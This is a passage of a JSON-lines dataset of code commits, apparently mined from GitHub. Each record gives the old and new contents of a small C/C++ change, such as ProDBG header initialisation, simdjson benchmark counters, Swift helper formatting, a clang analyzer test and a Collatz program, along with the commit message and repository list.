s\/scheduling,jrochas\/scale-proactive,lpellegr\/programming,PaulKh\/scale-proactive,fviale\/programming,lpellegr\/programming,mnip91\/programming-multiactivities,paraita\/programming,mnip91\/proactive-component-monitoring"}
{"commit":"070a960b3f83eaaf5f64dfdd9dd467d1949082ce","old_file":"src\/prodbg\/AmigaUAE\/AmigaUAE.h","new_file":"src\/prodbg\/AmigaUAE\/AmigaUAE.h","old_contents":"#pragma once\n\n#include <QObject>\n#include <QProcess>\n#include <QString>\n\n#include \"Config\/AmigaUAEConfig.h\"\n\nclass QTemporaryDir;\n\nnamespace prodbg {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass AmigaUAE : public QObject\n{\n    Q_OBJECT\n\npublic:\n    AmigaUAE(QObject* parent);\n    ~AmigaUAE();\n\n    bool openFile();\n    void runExecutable(const QString& filename);\n    bool validateSettings();\n    void launchUAE();\n    void killProcess();\n\n    \/\/ TODO: Structure this better\n\n    QProcess* m_uaeProcess;\n    uint16_t m_setFileId;\n    uint16_t m_setHddPathId;\n    QString m_uaeExe;\n    QString m_config;\n    QString m_cmdLineArgs;\n    QString m_dh0Path;\n    QString m_fileToRun;\n    QString m_localExeToRun;\n    QString m_romPath;\n    bool m_copyFiles;\n    bool m_skipUAELaunch;\n    AmigaUAEConfig::ConfigMode m_configMode;\n\nprivate:\n    Q_SLOT void started();\n    Q_SLOT void errorOccurred(QProcess::ProcessError error);\n\n    QTemporaryDir* m_tempDir;\n\n    void readSettings();\n\n    bool m_running = false;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n","new_contents":"#pragma once\n\n#include <QObject>\n#include <QProcess>\n#include <QString>\n\n#include \"Config\/AmigaUAEConfig.h\"\n\nclass QTemporaryDir;\n\nnamespace prodbg {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass AmigaUAE : public QObject\n{\n    Q_OBJECT\n\npublic:\n    AmigaUAE(QObject* parent);\n    ~AmigaUAE();\n\n    bool openFile();\n    void runExecutable(const QString& filename);\n    bool validateSettings();\n    void launchUAE();\n    void killProcess();\n\n    \/\/ TODO: Structure this better\n\n    QProcess* m_uaeProcess;\n    uint16_t m_setFileId;\n    uint16_t m_setHddPathId;\n    QString m_uaeExe;\n    QString m_config;\n    QString m_cmdLineArgs;\n    QString m_dh0Path;\n    QString m_fileToRun;\n    QString m_localExeToRun;\n    QString m_romPath;\n    bool m_copyFiles;\n    bool m_skipUAELaunch;\n    AmigaUAEConfig::ConfigMode m_configMode;\n\nprivate:\n    Q_SLOT void started();\n    Q_SLOT void errorOccurred(QProcess::ProcessError error);\n\n    QTemporaryDir* m_tempDir = nullptr;\n\n    void readSettings();\n\n    bool m_running = false;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n","subject":"Set tempdir to null by default","message":"Set tempdir to null by default\n","lang":"C","license":"mit","repos":"emoon\/ProDBG,emoon\/ProDBG,emoon\/ProDBG,emoon\/ProDBG,emoon\/ProDBG,emoon\/ProDBG"}
{"commit":"aee358642015f5453dcca6831bc3f3a6c6df22e7","old_file":"atom\/browser\/api\/atom_api_menu_views.h","new_file":"atom\/browser\/api\/atom_api_menu_views.h","old_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_BROWSER_API_ATOM_API_MENU_VIEWS_H_\n#define ATOM_BROWSER_API_ATOM_API_MENU_VIEWS_H_\n\n#include <map>\n#include <memory>\n\n#include \"atom\/browser\/api\/atom_api_menu.h\"\n#include \"base\/memory\/weak_ptr.h\"\n#include \"ui\/display\/screen.h\"\n#include \"ui\/views\/controls\/menu\/menu_runner.h\"\n\nnamespace atom {\n\nnamespace api {\n\nclass MenuViews : public Menu {\n public:\n  MenuViews(v8::Isolate* isolate, v8::Local<v8::Object> wrapper);\n\n protected:\n  void PopupAt(\n      Window* window, int x, int y, int positioning_item) override;\n  void ClosePopupAt(int32_t window_id) override;\n\n private:\n  \/\/ window ID -> open context menu\n  std::map<int32_t, std::unique_ptr<views::MenuRunner>> menu_runners_;\n\n  base::WeakPtrFactory<MenuViews> weak_factory_;\n\n  DISALLOW_COPY_AND_ASSIGN(MenuViews);\n};\n\n}  \/\/ namespace api\n\n}  \/\/ namespace atom\n\n#endif  \/\/ ATOM_BROWSER_API_ATOM_API_MENU_VIEWS_H_\n","new_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ATOM_BROWSER_API_ATOM_API_MENU_VIEWS_H_\n#define ATOM_BROWSER_API_ATOM_API_MENU_VIEWS_H_\n\n#include <map>\n#include <memory>\n\n#include \"atom\/browser\/api\/atom_api_menu.h\"\n#include \"base\/memory\/weak_ptr.h\"\n#include \"ui\/display\/screen.h\"\n#include \"ui\/views\/controls\/menu\/menu_runner.h\"\n\nnamespace atom {\n\nnamespace api {\n\nclass MenuViews : public Menu {\n public:\n  MenuViews(v8::Isolate* isolate, v8::Local<v8::Object> wrapper);\n\n protected:\n  void PopupAt(\n      Window* window, int x, int y, int positioning_item,\n      CloseCallback callback) override;\n  void ClosePopupAt(int32_t window_id) override;\n\n private:\n  \/\/ window ID -> open context menu\n  std::map<int32_t, std::unique_ptr<views::MenuRunner>> menu_runners_;\n\n  base::WeakPtrFactory<MenuViews> weak_factory_;\n\n  DISALLOW_COPY_AND_ASSIGN(MenuViews);\n};\n\n}  \/\/ namespace api\n\n}  \/\/ namespace atom\n\n#endif  \/\/ ATOM_BROWSER_API_ATOM_API_MENU_VIEWS_H_\n","subject":"Fix missing PopupAt overrides on windows\/linux","message":"Fix missing PopupAt overrides on windows\/linux\n\nAuditors: 47e4a4954d6a66edd1210b9b46e0a144c1078e87@bsclifton\n","lang":"C","license":"mit","repos":"brave\/electron,brave\/muon,brave\/electron,brave\/electron,brave\/electron,brave\/muon,brave\/muon,brave\/muon,brave\/electron,brave\/muon,brave\/muon,brave\/electron"}
{"commit":"44d689bc6ec53db0ec8572cc3bcd89e2a03a24da","old_file":"benchmark\/parse_records_benchmark.h","new_file":"benchmark\/parse_records_benchmark.h","old_contents":"#pragma once\n\ntemplate<typename B, typename R> static void ParseRecordsBenchmark(benchmark::State &state, const simdjson::padded_string &json) {\n  \/\/ Warmup and equality check (make sure the data is right!)\n  B bench;\n  bench.SetUp();\n  if (!bench.Run(json)) { state.SkipWithError(\"warmup tweet reading failed\"); return; }\n  {\n    R reference;\n    reference.SetUp();\n    if (!reference.Run(json)) { state.SkipWithError(\"reference tweet reading failed\"); return; }\n    \/\/ assert(bench.Records() == reference.Records());\n    reference.TearDown();\n  }\n\n  \/\/ Run the benchmark\n  event_collector<true> events;\n  events.start();\n  for (SIMDJSON_UNUSED auto _ : state) {\n    if (!bench.Run(json)) { state.SkipWithError(\"tweet reading failed\"); return; }\n  }\n  state.SetBytesProcessed(json.size() * state.iterations());\n  state.SetItemsProcessed(bench.Records().size() * state.iterations());\n  auto counts = events.end();\n  if (events.has_events()) {\n    state.counters[\"Instructions\"] = counts.instructions();\n    state.counters[\"Cycles\"] = counts.cycles();\n    state.counters[\"Branch Misses\"] = counts.branch_misses();\n    state.counters[\"Cache References\"] = counts.cache_references();\n    state.counters[\"Cache Misses\"] = counts.cache_misses();\n  }\n}\n","new_contents":"#pragma once\n\ntemplate<typename B, typename R> static void ParseRecordsBenchmark(benchmark::State &state, const simdjson::padded_string &json) {\n  \/\/ Warmup and equality check (make sure the data is right!)\n  B bench;\n  bench.SetUp();\n  if (!bench.Run(json)) { state.SkipWithError(\"warmup tweet reading failed\"); return; }\n  {\n    R reference;\n    reference.SetUp();\n    if (!reference.Run(json)) { state.SkipWithError(\"reference tweet reading failed\"); return; }\n    \/\/ assert(bench.Records() == reference.Records());\n    reference.TearDown();\n  }\n\n  \/\/ Run the benchmark\n  event_collector<true> events;\n  events.start();\n  for (SIMDJSON_UNUSED auto _ : state) {\n    if (!bench.Run(json)) { state.SkipWithError(\"tweet reading failed\"); return; }\n  }\n  auto bytes = json.size() * state.iterations();\n  state.SetBytesProcessed(bytes);\n  state.SetItemsProcessed(bench.Records().size() * state.iterations());\n  auto counts = events.end();\n  if (events.has_events()) {\n    state.counters[\"Ins.\/Byte\"] = double(counts.instructions()) \/ double(bytes);\n    state.counters[\"Ins.\/Cycle\"] = double(counts.instructions()) \/ double(counts.cycles());\n    state.counters[\"Cycles\/Byte\"] = double(counts.cycles()) \/ double(bytes);\n    state.counters[\"BranchMiss\"] = benchmark::Counter(counts.branch_misses(), benchmark::Counter::kAvgIterations);\n    state.counters[\"CacheMiss\"] = benchmark::Counter(counts.cache_misses(), benchmark::Counter::kAvgIterations);\n    state.counters[\"CacheRef\"] = benchmark::Counter(counts.cache_references(), benchmark::Counter::kAvgIterations);\n  }\n}\n","subject":"Make instructions \/ cycle counters more useful","message":"Make instructions \/ cycle counters more useful\n","lang":"C","license":"apache-2.0","repos":"lemire\/simdjson,lemire\/simdjson,lemire\/simdjson,lemire\/simdjson,lemire\/simdjson,lemire\/simdjson"}
{"commit":"0c84db950784ba4dd56f92220419490faff1f915","old_file":"include\/swift\/Basic\/Algorithm.h","new_file":"include\/swift\/Basic\/Algorithm.h","old_contents":"\/\/===--- Algorithm.h - ------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines helper algorithms, some of which are ported from C++14,\n\/\/  which may not be available on all platforms yet.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_ALGORITHM_H\n#define SWIFT_BASIC_ALGORITHM_H\n\nnamespace swift {\n  \/\/\/ Returns the minimum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T& min(const T &a, const T &b) {\n    return !(b < a) ? a : b;\n  }\n  \n  \/\/\/ Returns the maximum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T& max(const T &a, const T &b) {\n    return (a < b) ? b : a;\n  }\n} \/\/ end namespace swift\n\n#endif \/* SWIFT_BASIC_ALGORITHM_H *\/\n","new_contents":"\/\/===--- Algorithm.h - ------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines helper algorithms, some of which are ported from C++14,\n\/\/  which may not be available on all platforms yet.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_ALGORITHM_H\n#define SWIFT_BASIC_ALGORITHM_H\n\nnamespace swift {\n  \/\/\/ Returns the minimum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T &min(const T &a, const T &b) {\n    return !(b < a) ? a : b;\n  }\n  \n  \/\/\/ Returns the maximum of `a` and `b`, or `a` if they are equivalent.\n  template <typename T>\n  constexpr const T &max(const T &a, const T &b) {\n    return (a < b) ? b : a;\n  }\n} \/\/ end namespace swift\n\n#endif \/* SWIFT_BASIC_ALGORITHM_H *\/\n","subject":"Fix methods return type ampersand location (NFC)","message":"Fix methods return type ampersand location (NFC)","lang":"C","license":"apache-2.0","repos":"hughbe\/swift,ken0nek\/swift,SwiftAndroid\/swift,glessard\/swift,djwbrown\/swift,swiftix\/swift,tjw\/swift,austinzheng\/swift,manavgabhawala\/swift,allevato\/swift,therealbnut\/swift,xedin\/swift,arvedviehweger\/swift,aschwaighofer\/swift,shajrawi\/swift,zisko\/swift,ahoppen\/swift,OscarSwanros\/swift,JaSpa\/swift,parkera\/swift,swiftix\/swift,frootloops\/swift,alblue\/swift,ahoppen\/swift,jmgc\/swift,OscarSwanros\/swift,danielmartin\/swift,CodaFi\/swift,kperryua\/swift,modocache\/swift,IngmarStein\/swift,stephentyrone\/swift,danielmartin\/swift,gregomni\/swift,kperryua\/swift,practicalswift\/swift,therealbnut\/swift,johnno1962d\/swift,kstaring\/swift,jckarter\/swift,gmilos\/swift,calebd\/swift,allevato\/swift,tardieu\/swift,swiftix\/swift,sschiau\/swift,JGiola\/swift,glessard\/swift,jmgc\/swift,kperryua\/swift,arvedviehweger\/swift,modocache\/swift,manavgabhawala\/swift,johnno1962d\/swift,russbishop\/swift,amraboelela\/swift,codestergit\/swift,IngmarStein\/swift,sschiau\/swift,johnno1962d\/swift,felix91gr\/swift,jtbandes\/swift,apple\/swift,ben-ng\/swift,return\/swift,tardieu\/swift,huonw\/swift,xedin\/swift,gribozavr\/swift,lorentey\/swift,calebd\/swift,JaSpa\/swift,gregomni\/swift,tjw\/swift,hooman\/swift,gottesmm\/swift,harlanhaskins\/swift,apple\/swift,milseman\/swift,xedin\/swift,ken0nek\/swift,ben-ng\/swift,jtbandes\/swift,SwiftAndroid\/swift,danielmartin\/swift,modocache\/swift,ken0nek\/swift,shajrawi\/swift,airspeedswift\/swift,aschwaighofer\/swift,return\/swift,parkera\/swift,harlanhaskins\/swift,lorentey\/swift,atrick\/swift,frootloops\/swift,jmgc\/swift,natecook1000\/swift,roambotics\/swift,practicalswift\/swift,sschiau\/swift,allevato\/swift,xwu\/swift,jtbandes\/swift,jmgc\/swift,codestergit\/swift,OscarSwanros\/swift,lorentey\/swift,milseman\/swift,huonw\/swift,jopamer\/swift,Jnosh\/swift,IngmarStein\/swift,apple\/swift,tkremenek\/swift,tardieu\/swift,return\/swift,amraboelela\/swift,jckarter\/swift,karwa\/swift,KrishMunot\/swift,KrishMunot\/swift,tkremenek\/swift,shajrawi\/swift,IngmarStein\/swift,tinysun212\/swift-windows,harlanhaskins\/swift,austinzheng\/swift,ahoppen\/swift,frootloops\/swift,tardieu\/swift,bitjammer\/swift,xedin\/swift,amraboelela\/swift,xwu\/swift,karwa\/swift,kstaring\/swift,djwbrown\/swift,bitjammer\/swift,CodaFi\/swift,return\/swift,jopamer\/swift,xwu\/swift,johnno1962d\/swift,hughbe\/swift,aschwaighofer\/swift,harlanhaskins\/swift,modocache\/swift,therealbnut\/swift,aschwaighofer\/swift,lorentey\/swift,roambotics\/swift,calebd\/swift,russbishop\/swift,shajrawi\/swift,ken0nek\/swift,ken0nek\/swift,IngmarStein\/swift,manavgabhawala\/swift,felix91gr\/swift,gribozavr\/swift,therealbnut\/swift,rudkx\/swift,gmilos\/swift,allevato\/swift,shahmishal\/swift,roambotics\/swift,ahoppen\/swift,kstaring\/swift,milseman\/swift,Jnosh\/swift,brentdax\/swift,aschwaighofer\/swift,brentdax\/swift,calebd\/swift,CodaFi\/swift,nathawes\/swift,brentdax\/swift,parkera\/swift,deyton\/swift,glessard\/swift,rudkx\/swift,ben-ng\/swift,deyton\/swift,shajrawi\/swift,therealbnut\/swift,therealbnut\/swift,tkremenek\/swift,kperryua\/swift,dreamsxin\/swift,djwbrown\/swift,gregomni\/swift,alblue\/swift,austinzheng\/swift,JGiola\/swift,gmilos\/swift,djwbrown\/swift,benlangmuir\/swift,huonw\/swift,brentdax\/swift,ahoppen\/swift,austinzheng\/swift,IngmarStein\/swift,djwbrown\/swift,bitjammer\/swift,johnno1962d\/swift,tinysun212\/swift-windows,russbishop\/swift,russbishop\/swift,hughbe\/swift,JGiola\/swift,allevato\/swift,natecook1000\/swift,xwu\/swift,natecook1000\/swift,manavgabhawala\/swift,nathawes\/swift,amraboelela\/swift,djwbrown\/swift,arvedviehweger\/swift,jmgc\/swift,harlanhaskins\/swift,shajrawi\/swift,kstaring\/swift,atrick\/swift,alblue\/swift,hughbe\/swift,JaSpa\/swift,benlangmuir\/swift,danielmartin\/swift,felix91gr\/swift,uasys\/swift,lorentey\/swift,rudkx\/swift,benlangmuir\/swift,stephentyrone\/swift,deyton\/swift,gregomni\/swift,ahoppen\/swift,practicalswift\/swift,roambotics\/swift,kperryua\/swift,devincoughlin\/swift,xwu\/swift,KrishMunot\/swift,parkera\/swift,huonw\/swift,shahmishal\/swift,shajrawi\/swift,allevato\/swift,frootloops\/swift,karwa\/swift,tjw\/swift,karwa\/swift,jmgc\/swift,modocache\/swift,gribozavr\/swift,tjw\/swift,OscarSwanros\/swift,jtbandes\/swift,arvedviehweger\/swift,KrishMunot\/swift,xedin\/swift,hughbe\/swift,codestergit\/swift,sschiau\/swift,atrick\/swift,calebd\/swift,KrishMunot\/swift,austinzheng\/swift,codestergit\/swift,glessard\/swift,tardieu\/swift,kperryua\/swift,JGiola\/swift,airspeedswift\/swift,JGiola\/swift,jckarter\/swift,shahmishal\/swift,sschiau\/swift,ken0nek\/swift,amraboelela\/swift,kstaring\/swift,stephentyrone\/swift,jopamer\/swift,arvedviehweger\/swift,stephentyrone\/swift,uasys\/swift,brentdax\/swift,IngmarStein\/swift,tjw\/swift,manavgabhawala\/swift,harlanhaskins\/swift,manavgabhawala\/swift,huonw\/swift,modocache\/swift,practicalswift\/swift,arvedviehweger\/swift,zisko\/swift,jckarter\/swift,brentdax\/swift,parkera\/swift,ben-ng\/swift,milseman\/swift,airspeedswift\/swift,frootloops\/swift,nathawes\/swift,gmilos\/swift,uasys\/swift,tinysun212\/swift-windows,aschwaighofer\/swift,xedin\/swift,felix91gr\/swift,swiftix\/swift,deyton\/swift,calebd\/swift,frootloops\/swift,hooman\/swift,hughbe\/swift,Jnosh\/swift,apple\/swift,rudkx\/swift,lorentey\/swift,jtbandes\/swift,rudkx\/swift,nathawes\/swift,karwa\/swift,deyton\/swift,SwiftAndroid\/swift,gribozavr\/swift,xwu\/swift,amraboelela\/swift,tkremenek\/swift,swiftix\/swift,tkremenek\/swift,CodaFi\/swift,nathawes\/swift,modocache\/swift,shahmishal\/swift,allevato\/swift,karwa\/swift,milseman\/swift,tkremenek\/swift,JaSpa\/swift,jckarter\/swift,huonw\/swift,gmilos\/swift,benlangmuir\/swift,xedin\/swift,bitjammer\/swift,practicalswift\/swift,johnno1962d\/swift,CodaFi\/swift,danielmartin\/swift,uasys\/swift,zisko\/swift,shahmishal\/swift,bitjammer\/swift,felix91gr\/swift,practicalswift\/swift,karwa\/swift,hooman\/swift,JGiola\/swift,jtbandes\/swift,tinysun212\/swift-windows,swiftix\/swift,stephentyrone\/swift,felix91gr\/swift,devincoughlin\/swift,karwa\/swift,atrick\/swift,amraboelela\/swift,shahmishal\/swift,tardieu\/swift,tinysun212\/swift-windows,return\/swift,kstaring\/swift,kperryua\/swift,alblue\/swift,alblue\/swift,jopamer\/swift,atrick\/swift,gottesmm\/swift,milseman\/swift,codestergit\/swift,airspeedswift\/swift,uasys\/swift,OscarSwanros\/swift,uasys\/swift,russbishop\/swift,ken0nek\/swift,sschiau\/swift,atrick\/swift,danielmartin\/swift,apple\/swift,practicalswift\/swift,gregomni\/swift,dreamsxin\/swift,gribozavr\/swift,russbishop\/swift,gribozavr\/swift,austinzheng\/swift,tinysun212\/swift-windows,ben-ng\/swift,devincoughlin\/swift,arvedviehweger\/swift,natecook1000\/swift,xwu\/swift,Jnosh\/swift,jckarter\/swift,therealbnut\/swift,JaSpa\/swift,shahmishal\/swift,OscarSwanros\/swift,gmilos\/swift,danielmartin\/swift,JaSpa\/swift,ben-ng\/swift,benlangmuir\/swift,tjw\/swift,swiftix\/swift,gmilos\/swift,tjw\/swift,hooman\/swift,glessard\/swift,calebd\/swift,OscarSwanros\/swift,shajrawi\/swift,parkera\/swift,jopamer\/swift,return\/swift,glessard\/swift,bitjammer\/swift,gottesmm\/swift,CodaFi\/swift,roambotics\/swift,gribozavr\/swift,apple\/swift,deyton\/swift,devincoughlin\/swift,russbishop\/swift,gottesmm\/swift,alblue\/swift,lorentey\/swift,natecook1000\/swift,manavgabhawala\/swift,jmgc\/swift,parkera\/swift,deyton\/swift,CodaFi\/swift,rudkx\/swift,practicalswift\/swift,return\/swift,Jnosh\/swift,KrishMunot\/swift,djwbrown\/swift,codestergit\/swift,milseman\/swift,natecook1000\/swift,sschiau\/swift,uasys\/swift,jtbandes\/swift,nathawes\/swift,felix91gr\/swift,gottesmm\/swift,brentdax\/swift,KrishMunot\/swift,tkremenek\/swift,stephentyrone\/swift,codestergit\/swift,airspeedswift\/swift,gottesmm\/swift,kstaring\/swift,SwiftAndroid\/swift,SwiftAndroid\/swift,benlangmuir\/swift,gribozavr\/swift,hooman\/swift,natecook1000\/swift,xedin\/swift,zisko\/swift,Jnosh\/swift,jckarter\/swift,hooman\/swift,aschwaighofer\/swift,johnno1962d\/swift,shahmishal\/swift,jopamer\/swift,SwiftAndroid\/swift,jopamer\/swift,sschiau\/swift,devincoughlin\/swift,gottesmm\/swift,frootloops\/swift,airspeedswift\/swift,devincoughlin\/swift,zisko\/swift,stephentyrone\/swift,alblue\/swift,parkera\/swift,Jnosh\/swift,zisko\/swift,huonw\/swift,JaSpa\/swift,nathawes\/swift,zisko\/swift,gregomni\/swift,hooman\/swift,devincoughlin\/swift,ben-ng\/swift,bitjammer\/swift,harlanhaskins\/swift,roambotics\/swift,tardieu\/swift,lorentey\/swift,tinysun212\/swift-windows,airspeedswift\/swift,austinzheng\/swift,devincoughlin\/swift,SwiftAndroid\/swift,hughbe\/swift"}
{"commit":"89e8a07af3e24ae0f843b80906422d711f73de0a","old_file":"test\/Analysis\/uninit-vals-ps.c","new_file":"test\/Analysis\/uninit-vals-ps.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nstruct FPRec {\n  void (*my_func)(int * x);  \n};\n\nint bar(int x);\n\nint f1_a(struct FPRec* foo) {\n  int x;\n  (*foo->my_func)(&x);\n  return bar(x)+1; \/\/ no-warning\n}\n\nint f1_b() {\n  int x;\n  return bar(x)+1;  \/\/ expected-warning{{Pass-by-value argument in function is undefined.}}\n}\n\nint f2() {\n  \n  int x;\n  \n  if (x+1)  \/\/ expected-warning{{Branch}}\n    return 1;\n    \n  return 2;  \n}\n\nint f2_b() {\n  int x;\n  \n  return ((x+1)+2+((x))) + 1 ? 1 : 2; \/\/ expected-warning{{Branch}}\n}\n\nint f3(void) {\n  int i;\n  int *p = &i;\n  if (*p > 0) \/\/ expected-warning{{Branch condition evaluates to an uninitialized value}}\n    return 0;\n  else\n    return 1;\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nstruct FPRec {\n  void (*my_func)(int * x);  \n};\n\nint bar(int x);\n\nint f1_a(struct FPRec* foo) {\n  int x;\n  (*foo->my_func)(&x);\n  return bar(x)+1; \/\/ no-warning\n}\n\nint f1_b() {\n  int x;\n  return bar(x)+1;  \/\/ expected-warning{{Pass-by-value argument in function is undefined.}}\n}\n\nint f2() {\n  \n  int x;\n  \n  if (x+1)  \/\/ expected-warning{{Branch}}\n    return 1;\n    \n  return 2;  \n}\n\nint f2_b() {\n  int x;\n  \n  return ((x+1)+2+((x))) + 1 ? 1 : 2; \/\/ expected-warning{{Branch}}\n}\n\nint f3(void) {\n  int i;\n  int *p = &i;\n  if (*p > 0) \/\/ expected-warning{{Branch condition evaluates to an uninitialized value}}\n    return 0;\n  else\n    return 1;\n}\n\n\/\/ RUN: clang -checker-simple -analyzer-store-region -verify %s\n\nstruct s {\n  int data;\n};\n\nstruct s global;\n\nvoid g(int);\n\nvoid f4() {\n  int a;\n  if (global.data == 0)\n    a = 3;\n  if (global.data == 0)\n    g(a); \/\/ no-warning\n}\n","subject":"Add test for path-sensitive uninit-val detection involving struct field.","message":"Add test for path-sensitive uninit-val detection involving struct field.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59620 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"6d6fdef0cbc741e8f10ed1003a2e7fe5551b0227","old_file":"collatz\/c.c","new_file":"collatz\/c.c","old_contents":"#include <stdio.h>\n\nstatic\nint r( int n )\n{\n    printf(\"%d\\n\", n);\n    if (n <= 1)\n        return n;\n    if (n%2)\n        return r((n*3)+1);\n    return r(n\/2);\n}\n\nint main ( void )\n{\n    puts(\"Basic collatz fun - recursive C function\");\n    r(15);\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nstatic\nlong r( long n )\n{\n    printf(\"%ld\\n\", n);\n    if (n <= 1)\n        return n;\n    if (n%2)\n        return r((n*3)+1);\n    return r(n\/2);\n}\n\nint main (int argc, char **argv)\n{\n    long n = 15;\n    if (argc > 1)\n        n = strtol(argv[1], NULL, 10);\n    puts(\"Basic collatz fun - recursive C function\");\n    r(n);\n    return 0;\n}\n","subject":"Allow passing ints as arg","message":"Allow passing ints as arg\n","lang":"C","license":"mit","repos":"EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts,EVODelavega\/gp-scripts"}
{"commit":"c6db019f4816249ea029648a1ca22127ee0e7480","old_file":"module.c","new_file":"module.c","old_contents":"#include <linux\/module.h>\n#include <linux\/string.h>\n#include <linux\/fs.h>\n#include <adm\/uaccess.h>\n\n\/\/ Module Stuff\nMODULE_LICENCE(\"Apache\"); \/\/ Change this to \"GPL\" if you get annoyed about\n\t\t\t\t\t\t  \/\/ the kernal playing a crying fit about non GPL stuff\nMODULE_DESCRIPTION(\"A Markov device driver.\");\nMODULE_AUTHOR(\"Ben Cartwright-Cox\");\n\n\nstatic int dev_open(struct inode *, struct file *);\nstatic int dev_rls(struct inode *, struct file *);\nstatic ssize_t dev_read(strict file *, char *, size_t, loff_t *);\nstatic ssize_t dev_write(strict file *, const char *, size_t, loff_t *);\n","new_contents":"#include <linux\/module.h>\n#include <linux\/string.h>\n#include <linux\/fs.h>\n#include <adm\/uaccess.h>\n\n\/\/ Module Stuff\nMODULE_LICENCE(\"Apache\"); \/\/ Change this to \"GPL\" if you get annoyed about\n                          \/\/ the kernal playing a crying fit about non GPL stuff\nMODULE_DESCRIPTION(\"A Markov device driver.\");\nMODULE_AUTHOR(\"Ben Cartwright-Cox\");\n\n\nstatic int dev_open(struct inode *, struct file *);\nstatic int dev_rls(struct inode *, struct file *);\nstatic ssize_t dev_read(strict file *, char *, size_t, loff_t *);\nstatic ssize_t dev_write(strict file *, const char *, size_t, loff_t *);\n","subject":"Change tabs to spaces, Lets nip this one in the bud.","message":"Change tabs to spaces, Lets nip this one in the bud.\n","lang":"C","license":"apache-2.0","repos":"benjojo\/dev_markov,benjojo\/dev_markov"}
